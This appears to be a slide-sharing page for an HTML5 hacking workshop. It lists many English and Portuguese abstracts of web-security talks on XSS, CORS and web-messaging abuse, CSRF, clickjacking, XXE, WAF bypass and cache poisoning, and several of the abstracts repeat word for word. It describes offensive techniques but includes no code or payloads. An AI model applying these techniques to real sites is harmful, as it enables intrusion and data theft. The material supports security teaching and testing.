The document provides instructions for setting up a lab environment to demonstrate HTML5 hacking techniques, including exploiting the same origin policy, cross-site scripting using HTML5 features, exploiting web messaging, attacking with cross origin resource sharing, targeting client-side storage, bypassing content security policy, and analyzing browser cross-site scripting filters. It outlines various HTML5-based attacks and provides URLs to demonstration sites to try out the exploits hands-on.
Web messaging and web workers can be exploited to conduct injections. Attackers can craft payloads to inject into web workers and web messaging to conduct cross-domain calls and logic injections that bypass security restrictions. Defenders need to carefully implement web messaging and web workers to prevent these attacks, and also implement input validation and output encoding.
Palestra ministrada no OWASP Floripa Day - Florianópolis - SC |
A palestra tem como objetivo mostrar os conceitos e funcionamento de algumas funcionalidades que foram adicionadas ao HTML5, levando em consideração os aspectos de segurança do client-side. Para as funcionalidades destacadas, foram criados cenários de ataques visando ilustrar a obtenção de informações sensíves armazenadas no browser ou até mesmo usar o browser da vítima para lançar ataques contra outros sistemas. Através da exploração das funcionalidades existentes no HTML5, técnicas de exploração como XSS e CSRF, tornam-se mais poderosas e eficientes, sendo possível em alguns casos contornar algumas restrições do Same Origin Policiy (SOP).
The document provides instructions for setting up a lab environment to practice HTML5 hacking techniques. It includes details on installing VirtualBox and shared folders, as well as IP addresses to use for the "localvictim" and "evil" servers. The remainder of the document outlines a plan to cover various HTML5-related attacks, including bypassing the same-origin policy, exploiting XSS vectors in HTML5, attacking with cross-origin resource sharing and web messaging, targeting client-side storage, and using web sockets. Disclaimers are provided about the practical nature of the workshops and limited time.
This document discusses various web application security vulnerabilities including Cross Site Request Forgery (CSRF), clickjacking, and open redirects. CSRF involves forcing unauthorized requests to a web application to perform actions on the user's behalf. Clickjacking involves tricking a user into clicking something different than what they see. Open redirects can allow attackers to redirect users to malicious sites.
HTML5 and mobile applications allow developers to create rich applications using web technologies like HTML, CSS and JavaScript instead of native platforms. This document discusses how HTML5 features like geolocation, media playback, web storage and databases enable powerful mobile apps, but also present security risks if not implemented carefully. It provides examples of how cross-site scripting and exploitation of APIs could allow extraction of sensitive data from local storage, databases or the DOM in HTML5 applications.
This document summarizes XML out-of-band data retrieval attacks using XML external entities. It discusses how XML external entities can be used to retrieve files from remote servers or make requests to external resources. It also covers how entities defined in attributes can be used to bypass restrictions on external entity references. The document demonstrates these attack techniques and outlines tools that can automate XML out-of-band exploitation.
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourSoroush Dalili
Although web application firewall (WAF) solutions are very useful to prevent common or automated attacks, most of them are based on blacklist approaches and are still far from perfect. This talk illustrates a number of creative techniques to smuggle and reshape HTTP requests using the strange behaviour of web servers and features such as request encoding or HTTP pipelining. These methods can come in handy when testing a website behind a WAF and can help penetration testers and bug bounty hunters to avoid drama and pain! Knowing these techniques is also beneficial for the defence team in order to design appropriate mitigation techniques. Additionally, it shows why developers should not solely rely on WAFs as the defence mechanism.
Finally, an open source Burp Suite extension will be introduced that can be used to assess or bypass a WAF solution using some of the techniques discussed in this talk. The plan is to keep improving this extension with the help of the http.ninja project.
Web messaging and web workers can be exploited to conduct injections. Attackers can craft payloads to inject into web workers and web messaging to conduct cross-domain calls and logic injections that bypass security restrictions. Defenders need to carefully implement web messaging and web workers to prevent these attacks, and also implement input validation and output encoding.
Palestra ministrada no OWASP Floripa Day - Florianópolis - SC |
A palestra tem como objetivo mostrar os conceitos e funcionamento de algumas funcionalidades que foram adicionadas ao HTML5, levando em consideração os aspectos de segurança do client-side. Para as funcionalidades destacadas, foram criados cenários de ataques visando ilustrar a obtenção de informações sensíves armazenadas no browser ou até mesmo usar o browser da vítima para lançar ataques contra outros sistemas. Através da exploração das funcionalidades existentes no HTML5, técnicas de exploração como XSS e CSRF, tornam-se mais poderosas e eficientes, sendo possível em alguns casos contornar algumas restrições do Same Origin Policiy (SOP).
The document provides instructions for setting up a lab environment to practice HTML5 hacking techniques. It includes details on installing VirtualBox and shared folders, as well as IP addresses to use for the "localvictim" and "evil" servers. The remainder of the document outlines a plan to cover various HTML5-related attacks, including bypassing the same-origin policy, exploiting XSS vectors in HTML5, attacking with cross-origin resource sharing and web messaging, targeting client-side storage, and using web sockets. Disclaimers are provided about the practical nature of the workshops and limited time.
This document discusses various web application security vulnerabilities including Cross Site Request Forgery (CSRF), clickjacking, and open redirects. CSRF involves forcing unauthorized requests to a web application to perform actions on the user's behalf. Clickjacking involves tricking a user into clicking something different than what they see. Open redirects can allow attackers to redirect users to malicious sites.
HTML5 and mobile applications allow developers to create rich applications using web technologies like HTML, CSS and JavaScript instead of native platforms. This document discusses how HTML5 features like geolocation, media playback, web storage and databases enable powerful mobile apps, but also present security risks if not implemented carefully. It provides examples of how cross-site scripting and exploitation of APIs could allow extraction of sensitive data from local storage, databases or the DOM in HTML5 applications.
This document summarizes XML out-of-band data retrieval attacks using XML external entities. It discusses how XML external entities can be used to retrieve files from remote servers or make requests to external resources. It also covers how entities defined in attributes can be used to bypass restrictions on external entity references. The document demonstrates these attack techniques and outlines tools that can automate XML out-of-band exploitation.
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourSoroush Dalili
Although web application firewall (WAF) solutions are very useful to prevent common or automated attacks, most of them are based on blacklist approaches and are still far from perfect. This talk illustrates a number of creative techniques to smuggle and reshape HTTP requests using the strange behaviour of web servers and features such as request encoding or HTTP pipelining. These methods can come in handy when testing a website behind a WAF and can help penetration testers and bug bounty hunters to avoid drama and pain! Knowing these techniques is also beneficial for the defence team in order to design appropriate mitigation techniques. Additionally, it shows why developers should not solely rely on WAFs as the defence mechanism.
Finally, an open source Burp Suite extension will be introduced that can be used to assess or bypass a WAF solution using some of the techniques discussed in this talk. The plan is to keep improving this extension with the help of the http.ninja project.
This document provides an overview of Burp Suite and how to use its features to perform vulnerability assessments. It discusses Burp Suite's key components like the proxy, scanner, intruder, repeater, collaborator, and extender. It also covers techniques like bypassing filters, server-side request forgery, XML external entities, and common vulnerabilities to target like open redirects, insufficient entropy, and insecure deserialization.
Video recording of the talk: https://connect.ruhr-uni-bochum.de/p3g2butmrt4/
HTML5 is quickly gaining media attention and popularity among browser vendors and web developers. Having tremendous features, together with its sister specifications like Drag & Drop API, File API or Geolocation it allows developers to build rich web applications that easily blend with desktop & mobile environments.
The talk will be focused on finding the weakest link and combining several recent attack techniques to turn a security vulnerability into a successful exploit.
We'll show how to build a successful advanced UI-Redressing attack (also known as clickjacking), presenting the latest findings in this field, including malicious games and quizes. We'll work on file upload functionalities in current web applications and see how attackers might use HTML5 APIs for their advantage. Putting all these building blocks together will enable us to launch an attack and exploit even the otherwise unexploitable vulnerabilities.
ASP.NET 4.0 includes several new features such as output caching extensibility, auto-start web applications, session state compression, routing, and the Chart control. It also includes enhancements to caching, browser capabilities, and project templates. The Dynamic Data feature allows quickly building data-driven websites with automatic validation based on the data model.
https://2018.zeronights.ru/en/reports/reverse-proxies-inconsistency/
Modern websites are growing more complex with different reverse proxies and balancers covering them. They are used for various purposes: request routing, caching, putting additional headers, restricting access. In other words, reverse proxies must both parse incoming requests and modify them in a particular way. However, path parsing may turn out to be quite a challenge due to mismatches in the parsing of different web servers. Moreover, request converting may imply a wide range of different consequences from a cybersecurity point of view. I have analyzed different reverse proxies with different configurations, the ways they parse requests, apply rules, and perform caching. In this talk, I will both speak about general processes and the intricacies of proxy operation and demonstrate the examples of bypassing restrictions, expanding access to a web application, and new attacks through the web cache deception and cache poisoning.
https://zeronights.ru/en/reports-en/weird-proxies-2-and-a-bit-of-magic/
Reverse proxies and their variations are used everywhere in modern web applications for routing, caching, and access differentiation. This talk is dedicated to new research results about different reverse proxies and new possibilities brought by HTTP/2. It is a collection of tricks for exploiting various misconfigurations.
Results - https://github.com/GrrrDog/weird_proxies
This document discusses techniques for footprinting and profiling enterprise applications and networks. It covers identifying web application components, virtual hosts, and default applications using tools like nmap and nc. The document shows how to identify name servers and perform reverse lookups to discover additional hosts. Methods for profiling Ajax frameworks, web services, and entry points are presented. The goal of these techniques is to map assets to entry points to understand application architecture and potential vulnerabilities.
This document discusses security for REST web services. It covers the need for web security, common security techniques like TLS/SSL, basic authentication and token-based authentication. It also discusses authorization and vulnerabilities. The Oracle Web Services Manager (OWSM) is presented as a product that can provide security policies for REST services and clients, securing them using techniques like basic authentication, OAuth2 and SAML without requiring developers to implement security.
Blackhat11 shreeraj reverse_engineering_browserShreeraj Shah
Hacking browser components by Reverse Engineering is emerging as the best way for discovering
potential vulnerabilities across web applications in an era of Rich Internet Applications (RIA). The RIA
space is flooded with technologies like HTML 5, Flex/Flash, Silverlight, extended DOM and numerous
third party libraries. Browsers are the target of hackers, worms and malware with specific scope, almost
on a daily basis. We have seen exploitation of these technologies on popular sites like Facebook, Twitter,
Yahoo, Google, to name a few. The traditional boundaries of web applications are disappearing.
Browsers today host a substantial part of web applications including data access, business logic,
encryption, etc. along with presentation layer. This shift is making browser components a potential
target for hackers. The danger of poorly written browser components being
- CORS (Cross-Origin Resource Sharing) allows resources on a web page to be requested from another domain outside the domain from which the first resource was served.
- CORS uses additional HTTP headers to tell browsers to give a web application running at one origin access to selected resources from a different origin.
- Developer mistakes can lead to security vulnerabilities like cross-site request forgery if CORS is not implemented correctly, such as specifying '*' for allowed origins, failing to validate origins, or not handling credentials properly.
This document discusses browser security challenges posed by new technologies like HTML5, cross-document messaging, and browser plugins. It summarizes potential attacks like cross-site scripting through relaxed origin policies, browser SQL injection using HTML5 client storage, and using cross-document messaging to enable cross-site communication. The document advocates for the OWASP Intrinsic Group to work with browser vendors to address these issues.
Postcards from the post xss world- content exfiltration nullPiyush Pattanayak
The document discusses post-XSS content exfiltration techniques. It describes 6 methods that can be used by an attacker to extract sensitive user data from a vulnerable web application even with protections like HTTP-only cookies in place. These include dangling markup injection, textarea-based consumption, rerouting existing forms, using <base> tags to hijack URLs, injecting forms to intercept passwords, and moving data within a site rather than to third parties. The document provides examples and limitations for each technique.
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERYShreeraj Shah
The document discusses challenges with traditional fuzzing techniques against modern web applications and architectures. It describes how hidden discovery is needed, such as crawling with tools like Ruby and Watir to detect Ajax calls and hidden entry points. Various techniques for SQL injection and blind SQL injection are presented, such as delaying responses, checking for SQL injection, and using tools like sqlmap and Absinthe to perform database enumeration. The need for new approaches to application security testing is emphasized to effectively discover vulnerabilities in modern web applications and architectures.
AppSec 2007 - .NET Web Services HackingShreeraj Shah
This document discusses scanning and attacking .NET web services as well as defending them. It begins with an overview of assessing .NET web services through footprinting, discovery, enumeration and profiling. It then discusses various attack vectors such as XSS, injection flaws, and information leakage. The document concludes with recommendations for code scanning, implementing a web services firewall, and secure coding practices to harden .NET web services.
The document discusses security best practices for securing REST APIs, including using HTTP authentication like OAuth and JWT tokens, avoiding basic authentication, using opaque identifiers, preventing query injection, encrypting data at rest, using TLS, externalizing configurations, and more. It provides examples and explanations of concepts like authorization versus authentication, status codes, and storage encryption.
HTML5 Top 10 Threats - Silent Attacks and Stealth ExploitsShreeraj Shah
This document discusses the top 10 threats posed by HTML5, including stealth attacks and silent exploits. It describes how Cross-Site Request Forgery (CSRF) attacks can be conducted using XMLHttpRequest (XHR) calls and bypassing Cross-Origin Resource Sharing (CORS) protections. It also explains how XHR allows cross-domain requests and binary data transfers, which can enable CSRF and information harvesting attacks. The document provides examples of how CSRF can be used over XHR to perform unauthorized actions on a user's behalf without their knowledge.
This presentation illustrates a number of techniques to smuggle and reshape HTTP requests using features such as HTTP Pipelining that are not normally used by testers. The strange behaviour of web servers with different technologies will be reviewed using HTTP versions 1.1, 1.0, and 0.9 before HTTP v2 becomes too popular! Some of these techniques might come in handy when dealing with a dumb WAF or load balancer that blocks your attacks.
Presented @ BSides Manchester 2017 & SteelCon 2017
Cross-Origin Resource Sharing (CORS) is a mechanism that allows browsers to make cross-origin requests and access responses from APIs on other origins. CORS uses additional HTTP headers to allow a web application running on one domain to access selected resources from a different domain. CORS works by using preflight requests to determine if the actual request is safe. CORS relies on adding special HTTP headers to the request or response, and the browser prevents unauthorized cross-origin requests from occurring.
DEMYSTIFYING REST
Kirsten Jones
REST web services are everywhere! It seems like everything you want is available via a web service, but getting started with one of these web services can be overwhelming – and debugging the interactions bewilders some of the smartest developers I know. In this talk, I will talk about HTTP, how it works, and how to watch and understand the traffic between your system and the server. From there I’ll proceed to REST – how REST web services layer on top of HTTP and how you can expect a REST web service to behave. We’ll go over how to monitor and understand requests and responses for these services. Once we’ve covered that, I’ll talk about how OAuth is used for authentication in the framework of a REST application. PHP code samples will be shown for interacting with an OAuth REST web service, and I will cover http monitoring tools for multiple OS’s. When you’re done with this talk you’ll understand enough about REST web services to be able to get started confidently, and debug many of the common issues you may encounter.
The document discusses security considerations for HTML5. It notes that while HTML5 specifications are not inherently flawed, bad code can introduce new vulnerabilities. It outlines several attack vectors like XSS, history tampering, web storage manipulation, and clickjacking. It also discusses mitigations like script isolation, cross-document messaging, sandboxing, and CORS, noting their limitations. The document aims to raise awareness of the expanded client-side attack surface in HTML5.
Same-origin policy is an important security concept of the modern browser languages like JavaScript but becomes an obstacle for developers when building complex client-side apps. Over time there have been lots of ingenious workarounds using JSON-P, IFRAME and proxies. As of January 2013 the well known Cross Origin Resource Sharing (CORS) comes as proposed standard by W3C and has now native support by all major browsers.
This document provides an overview of Burp Suite and how to use its features to perform vulnerability assessments. It discusses Burp Suite's key components like the proxy, scanner, intruder, repeater, collaborator, and extender. It also covers techniques like bypassing filters, server-side request forgery, XML external entities, and common vulnerabilities to target like open redirects, insufficient entropy, and insecure deserialization.
Video recording of the talk: https://connect.ruhr-uni-bochum.de/p3g2butmrt4/
HTML5 is quickly gaining media attention and popularity among browser vendors and web developers. Having tremendous features, together with its sister specifications like Drag & Drop API, File API or Geolocation it allows developers to build rich web applications that easily blend with desktop & mobile environments.
The talk will be focused on finding the weakest link and combining several recent attack techniques to turn a security vulnerability into a successful exploit.
We'll show how to build a successful advanced UI-Redressing attack (also known as clickjacking), presenting the latest findings in this field, including malicious games and quizes. We'll work on file upload functionalities in current web applications and see how attackers might use HTML5 APIs for their advantage. Putting all these building blocks together will enable us to launch an attack and exploit even the otherwise unexploitable vulnerabilities.
ASP.NET 4.0 includes several new features such as output caching extensibility, auto-start web applications, session state compression, routing, and the Chart control. It also includes enhancements to caching, browser capabilities, and project templates. The Dynamic Data feature allows quickly building data-driven websites with automatic validation based on the data model.
https://2018.zeronights.ru/en/reports/reverse-proxies-inconsistency/
Modern websites are growing more complex with different reverse proxies and balancers covering them. They are used for various purposes: request routing, caching, putting additional headers, restricting access. In other words, reverse proxies must both parse incoming requests and modify them in a particular way. However, path parsing may turn out to be quite a challenge due to mismatches in the parsing of different web servers. Moreover, request converting may imply a wide range of different consequences from a cybersecurity point of view. I have analyzed different reverse proxies with different configurations, the ways they parse requests, apply rules, and perform caching. In this talk, I will both speak about general processes and the intricacies of proxy operation and demonstrate the examples of bypassing restrictions, expanding access to a web application, and new attacks through the web cache deception and cache poisoning.
https://zeronights.ru/en/reports-en/weird-proxies-2-and-a-bit-of-magic/
Reverse proxies and their variations are used everywhere in modern web applications for routing, caching, and access differentiation. This talk is dedicated to new research results about different reverse proxies and new possibilities brought by HTTP/2. It is a collection of tricks for exploiting various misconfigurations.
Results - https://github.com/GrrrDog/weird_proxies
This document discusses techniques for footprinting and profiling enterprise applications and networks. It covers identifying web application components, virtual hosts, and default applications using tools like nmap and nc. The document shows how to identify name servers and perform reverse lookups to discover additional hosts. Methods for profiling Ajax frameworks, web services, and entry points are presented. The goal of these techniques is to map assets to entry points to understand application architecture and potential vulnerabilities.
This document discusses security for REST web services. It covers the need for web security, common security techniques like TLS/SSL, basic authentication and token-based authentication. It also discusses authorization and vulnerabilities. The Oracle Web Services Manager (OWSM) is presented as a product that can provide security policies for REST services and clients, securing them using techniques like basic authentication, OAuth2 and SAML without requiring developers to implement security.
Blackhat11 shreeraj reverse_engineering_browserShreeraj Shah
Hacking browser components by Reverse Engineering is emerging as the best way for discovering
potential vulnerabilities across web applications in an era of Rich Internet Applications (RIA). The RIA
space is flooded with technologies like HTML 5, Flex/Flash, Silverlight, extended DOM and numerous
third party libraries. Browsers are the target of hackers, worms and malware with specific scope, almost
on a daily basis. We have seen exploitation of these technologies on popular sites like Facebook, Twitter,
Yahoo, Google, to name a few. The traditional boundaries of web applications are disappearing.
Browsers today host a substantial part of web applications including data access, business logic,
encryption, etc. along with presentation layer. This shift is making browser components a potential
target for hackers. The danger of poorly written browser components being
- CORS (Cross-Origin Resource Sharing) allows resources on a web page to be requested from another domain outside the domain from which the first resource was served.
- CORS uses additional HTTP headers to tell browsers to give a web application running at one origin access to selected resources from a different origin.
- Developer mistakes can lead to security vulnerabilities like cross-site request forgery if CORS is not implemented correctly, such as specifying '*' for allowed origins, failing to validate origins, or not handling credentials properly.
This document discusses browser security challenges posed by new technologies like HTML5, cross-document messaging, and browser plugins. It summarizes potential attacks like cross-site scripting through relaxed origin policies, browser SQL injection using HTML5 client storage, and using cross-document messaging to enable cross-site communication. The document advocates for the OWASP Intrinsic Group to work with browser vendors to address these issues.
Postcards from the post xss world- content exfiltration nullPiyush Pattanayak
The document discusses post-XSS content exfiltration techniques. It describes 6 methods that can be used by an attacker to extract sensitive user data from a vulnerable web application even with protections like HTTP-only cookies in place. These include dangling markup injection, textarea-based consumption, rerouting existing forms, using <base> tags to hijack URLs, injecting forms to intercept passwords, and moving data within a site rather than to third parties. The document provides examples and limitations for each technique.
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERYShreeraj Shah
The document discusses challenges with traditional fuzzing techniques against modern web applications and architectures. It describes how hidden discovery is needed, such as crawling with tools like Ruby and Watir to detect Ajax calls and hidden entry points. Various techniques for SQL injection and blind SQL injection are presented, such as delaying responses, checking for SQL injection, and using tools like sqlmap and Absinthe to perform database enumeration. The need for new approaches to application security testing is emphasized to effectively discover vulnerabilities in modern web applications and architectures.
AppSec 2007 - .NET Web Services HackingShreeraj Shah
This document discusses scanning and attacking .NET web services as well as defending them. It begins with an overview of assessing .NET web services through footprinting, discovery, enumeration and profiling. It then discusses various attack vectors such as XSS, injection flaws, and information leakage. The document concludes with recommendations for code scanning, implementing a web services firewall, and secure coding practices to harden .NET web services.
The document discusses security best practices for securing REST APIs, including using HTTP authentication like OAuth and JWT tokens, avoiding basic authentication, using opaque identifiers, preventing query injection, encrypting data at rest, using TLS, externalizing configurations, and more. It provides examples and explanations of concepts like authorization versus authentication, status codes, and storage encryption.
HTML5 Top 10 Threats - Silent Attacks and Stealth ExploitsShreeraj Shah
This document discusses the top 10 threats posed by HTML5, including stealth attacks and silent exploits. It describes how Cross-Site Request Forgery (CSRF) attacks can be conducted using XMLHttpRequest (XHR) calls and bypassing Cross-Origin Resource Sharing (CORS) protections. It also explains how XHR allows cross-domain requests and binary data transfers, which can enable CSRF and information harvesting attacks. The document provides examples of how CSRF can be used over XHR to perform unauthorized actions on a user's behalf without their knowledge.
This presentation illustrates a number of techniques to smuggle and reshape HTTP requests using features such as HTTP Pipelining that are not normally used by testers. The strange behaviour of web servers with different technologies will be reviewed using HTTP versions 1.1, 1.0, and 0.9 before HTTP v2 becomes too popular! Some of these techniques might come in handy when dealing with a dumb WAF or load balancer that blocks your attacks.
Presented @ BSides Manchester 2017 & SteelCon 2017
Cross-Origin Resource Sharing (CORS) is a mechanism that allows browsers to make cross-origin requests and access responses from APIs on other origins. CORS uses additional HTTP headers to allow a web application running on one domain to access selected resources from a different domain. CORS works by using preflight requests to determine if the actual request is safe. CORS relies on adding special HTTP headers to the request or response, and the browser prevents unauthorized cross-origin requests from occurring.
DEMYSTIFYING REST
Kirsten Jones
REST web services are everywhere! It seems like everything you want is available via a web service, but getting started with one of these web services can be overwhelming – and debugging the interactions bewilders some of the smartest developers I know. In this talk, I will talk about HTTP, how it works, and how to watch and understand the traffic between your system and the server. From there I’ll proceed to REST – how REST web services layer on top of HTTP and how you can expect a REST web service to behave. We’ll go over how to monitor and understand requests and responses for these services. Once we’ve covered that, I’ll talk about how OAuth is used for authentication in the framework of a REST application. PHP code samples will be shown for interacting with an OAuth REST web service, and I will cover http monitoring tools for multiple OS’s. When you’re done with this talk you’ll understand enough about REST web services to be able to get started confidently, and debug many of the common issues you may encounter.
The document discusses security considerations for HTML5. It notes that while HTML5 specifications are not inherently flawed, bad code can introduce new vulnerabilities. It outlines several attack vectors like XSS, history tampering, web storage manipulation, and clickjacking. It also discusses mitigations like script isolation, cross-document messaging, sandboxing, and CORS, noting their limitations. The document aims to raise awareness of the expanded client-side attack surface in HTML5.
Same-origin policy is an important security concept of the modern browser languages like JavaScript but becomes an obstacle for developers when building complex client-side apps. Over time there have been lots of ingenious workarounds using JSON-P, IFRAME and proxies. As of January 2013 the well known Cross Origin Resource Sharing (CORS) comes as proposed standard by W3C and has now native support by all major browsers.
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Divyanshu
Browser exploitation| Reporting vulnerability in top browsers and finding CVE.
Session in Null Bangalore Meet 23 November 2019 Null/OWASP/G4H combined meetup
Thanks to respective researchers for their work.
This talk is a generic but comprehensive overview of security mechanism, controls and potential attacks in modern browsers. The talk focuses also on new technologies, such as HTML5 and related APIs to highlight new attack scenario against browsers.
HTML5 introduces new features that can be exploited if not implemented securely. Storage mechanisms like local storage, session storage, and IndexedDB can be used to steal sensitive user data if not set with the proper security flags. Cross-origin resource sharing and cross-document messaging allow communication between domains but need controls to prevent CSRF and information disclosure. New HTML5 features provide opportunities for old attacks like XSS through new vectors like autofocus. Developers must implement security best practices to prevent exploitation of HTML5 capabilities.
Rich Web App Security - Keeping your application safeJeremiah Grossman
The document discusses securing web applications from common vulnerabilities like cross-site scripting (XSS) and cross-site request forgery (CSRF). It outlines various techniques attackers use to exploit these issues, such as injecting malicious scripts into user input or forging unauthorized requests. The document then provides recommendations for developers to prevent these attacks, such as carefully validating and encoding all user input, and authenticating that requests are intended by the user.
I'm take picture from here and there by goggling not mentioning all source please let me know if anyone has any objection. This presentation was presented in “securITy” Information Security Conference at BASIS SoftExpo 2012
video demos: http://whitehatsec.com/home/assets/videos/Top10WebHacks_Webinar031711.zip
Many notable and new Web hacking techniques were revealed in 2010. During this presentation, Jeremiah Grossman will describe the technical details of the top hacks from 2010, as well as some of the prevalent security issues emerging in 2011. Attendees will be treated to a step-by-step guided tour of the newest threats targeting today's corporate websites and enterprise users.
The top attacks in 2010 include:
• 'Padding Oracle' Crypto Attack
• Evercookie
• Hacking Auto-Complete
• Attacking HTTPS with Cache Injection
• Bypassing CSRF protections with ClickJacking and HTTP Parameter Pollution
• Universal XSS in IE8
• HTTP POST DoS
• JavaSnoop
• CSS History Hack In Firefox Without JavaScript for Intranet Portscanning
• Java Applet DNS Rebinding
Mr. Grossman will then briefly identify real-world examples of each of these vulnerabilities in action, outlining how the issue occurs, and what preventative measures can be taken. With that knowledge, he will strategize what defensive solutions will have the most impact.
Often, web developers keep hearing about "Same Origin Policy (SOP)" of browsers but live with half-knowledge or with several confusions. This session attempts to clear the misconceptions of SOP.
Riyaz Walikar discusses the Same Origin Policy (SOP) and Cross Origin Resource Sharing (CORS). SOP restricts how scripts from one origin can interact with resources from other origins for security. CORS allows relaxing SOP for legitimate cross-origin requests by using special HTTP headers. However, CORS implementations must be careful to avoid security issues like universal permissive policies, misplaced trust, CORS-based CSRF attacks, and caching or origin spoofing vulnerabilities.
TakeDownCon Rocket City: WebShells by Adrian CrenshawEC-Council
The document discusses various techniques for gaining remote access to websites through automated collection of remote file inclusion (RFI) vulnerabilities and web shells. It provides examples of PHP code that can be used to upload files, execute system commands, and create backdoors. It also lists sources for common web shells and techniques for obfuscating shell code, communicating stealthily, and restricting access to authorized users only. The document is an educational overview of RFI exploitation and automated web shell collection and management.
The document compares various features of HTML5 and Silverlight, including platforms supported, storage options, databases, offline capabilities, threading models, communication APIs, notifications, audio/video support, canvas drawing, and other miscellaneous features. Key differences discussed include HTML5's broader platform support versus Silverlight's reliance on the .NET framework and browser plugins. The document provides overviews and comparisons to help understand how the technologies compare in various areas.
This document discusses security challenges with web applications that combine content from multiple sources (mashups). It covers how the same-origin policy isolates origins but exempts scripts, allowing cross-site scripting attacks. Frame-based communication and the postMessage API provide secure cross-origin messaging capabilities. The document recommends sandboxing iframes and using features like CORS to mitigate risks in mashups.
QA: Базовое тестирование защищенности веб-приложений в рамках QACodeFest
This document provides a checklist and guidance for basic web application security testing in quality assurance. It outlines 10 areas to focus testing on: 1) information disclosure, 2) SSL/TLS, 3) slow HTTP denial of service attacks, 4) HTTP host header attacks, 5) login page over HTTPS, 6) same site scripting, 7) secure headers, 8) cross domain policy, 9) session management, and 10) URL validation. For each area, it describes the security weakness, examples of attacks, and tools that can be used for testing. The goal is to integrate an attacker perspective into test plans and deliver risk-based security testing.
This document provides a checklist and guidance for basic web application security testing in quality assurance. It outlines 10 areas to focus testing on: 1) information disclosure, 2) SSL/TLS, 3) slow HTTP denial of service attacks, 4) HTTP host header attacks, 5) login page over HTTPS, 6) same site scripting, 7) secure headers, 8) cross domain policy, 9) session management, and 10) URL validation. For each area, it describes the security weakness, examples of attacks, and tools that can be used to test for those weaknesses. The document is intended to help integrate an attacker perspective into QA test plans and deliver risk-based security testing.
The top 10 security issues in web applicationsDevnology
The top 10 security issues in web applications are:
1. Injection flaws such as SQL, OS, and LDAP injection.
2. Cross-site scripting (XSS) vulnerabilities that allow attackers to execute scripts in a victim's browser.
3. Broken authentication and session management, such as not logging users out properly or exposing session IDs.
4. Insecure direct object references where users can directly access files without authorization checks.
5. Cross-site request forgery (CSRF) that tricks a user into performing actions they did not intend.
6. Security misconfiguration of web or application servers.
7. Insecure cryptographic storage of passwords or sensitive data.
8
This document summarizes the basic web security model of the same-origin policy and its implications. It discusses how the browser enforces isolation between different origins through mandatory access controls on things like cookies, DOM access, and frames. It also covers vulnerabilities that can arise around issues like cross-site scripting, cookie handling, and cross-frame scripting. The document introduces new techniques like postMessage that aim to enable secure cross-origin communication between frames.
The document discusses attacking HTML5. It begins with an introduction to HTML5 tags, attributes, and features like geolocation, drag and drop, and storage options. It then covers ways these features can be attacked, including stealing data from storage, spoofing data to cause CSRF or XSS, and dumping data from SQL storage. Specific attacks are demonstrated against cross-origin resource sharing, cross-document messaging, clickjacking, and exploiting new vulnerabilities with older attacks. The document concludes that while HTML5 provides new browser capabilities, attackers can find innovative ways to exploit these features maliciously.
JavaScript controls our lives – we use it to zoom in and out of a map, to automatically schedule doctor appointments and toplay online games. But have we ever properly considered thesecurity state of this scripting language? Before dismissing the (in)security posture of JavaScript on the grounds of a client-side problem, consider the impact ofJavaScript vulnerability exploitation to the enterprise: from stealing serverside data to infecting users with malware. Hackers are beginning to recognize this new playground and are quicklyadding JavaScript exploitation tools to their Web attack arsenal.
Similar to Hacking HTML5 offensive course (Zeronights edition) (20)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Krzysztof Kotowicz
18 years have passed since Cross-Site Scripting (XSS) has been identified as a web vulnerability class. Since then, numerous efforts have been proposed to detect, fix or mitigate it. We've seen vulnerability scanners, fuzzers, static & dynamic code analyzers, taint tracking engines, linters, and finally XSS filters, WAFs and all various flavours of Content Security Policy.
Various libraries have been created to minimize or eliminate the risk of XSS: HTML sanitizers, templating libraries, sandboxing solutions - and yet XSS is still one of the most prevalent vulnerabilities plaguing web applications.
It seems like, while we have a pretty good grasp on how to address stored & reflected XSS, "solving" DOM XSS remains an open question. DOM XSS is caused by ever-growing complexity of client-side JavaScript code (see script gadgets), but most importantly - the lack of security in DOM API design.
But perhaps we have a chance this time? Trusted Types is a new browser API that
allows a web application to limit its interaction with the DOM, with the goal of obliterating
DOM XSS. Based on the battle-tested design that prevents XSS in most of the Google web applications, Trusted Types add the DOM XSS prevention API to the browsers. Trusted Types allow to isolate the application components that may potentially introduce DOM XSS into tiny, reviewable pieces, and guarantee that the rest of the code is DOM-XSS free. They can also leverage existing solutions like autoescaping templating libraries, or client-side sanitizers to use them as building blocks of a secure application.
Trusted Types have a working polyfill, an implementation in Chrome and integrate well with existing JS frameworks and libraries. Oddly similar to both XSS filters and CSP, they are also fundamentally different, and in our opinion have a reasonable chance of eliminating DOM XSS - once and for all.
Trusted Types aims to prevent DOM-based cross-site scripting (DOM XSS) by introducing a new API for creating string-wrapping objects that can only be used in safe ways. It allows defining policies that create these trusted types, limiting where DOM XSS can be introduced. With enforcement, web platforms would only accept trusted types for DOM sinks like innerHTML, reducing the attack surface. Policies can be guarded and their creation controlled via response headers to further limit security risks. Initial implementations show it can help secure applications with minimal changes.
Trusted Types is a proposed browser feature that aims to prevent DOM-based cross-site scripting (DOM XSS) vulnerabilities by restricting the use of untrusted strings in dangerous DOM sink functions. It works by requiring developers to use strongly typed policy objects instead of plain strings, making it easier to write secure code and reducing the DOM XSS attack surface. The design goals are to empower secure development, integrate smoothly with existing code, and allow gradual migration without breaking applications.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Krzysztof Kotowicz
Krzysztof Kotowicz gave a talk at Hack in Paris in June 2014 about lessons learned from trusting JavaScript cryptography. He discussed the history of skepticism around JS crypto due to language weaknesses like implicit type coercion and lack of exceptions. He then analyzed real-world vulnerabilities in JS crypto libraries like Cryptocat that exploited these issues, as well as web-specific issues like cross-site scripting. Finally, he argued that while the JS language has flaws, developers can still implement crypto securely through practices like strict mode, type checking, and defense-in-depth against web vulnerabilities.
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsKrzysztof Kotowicz
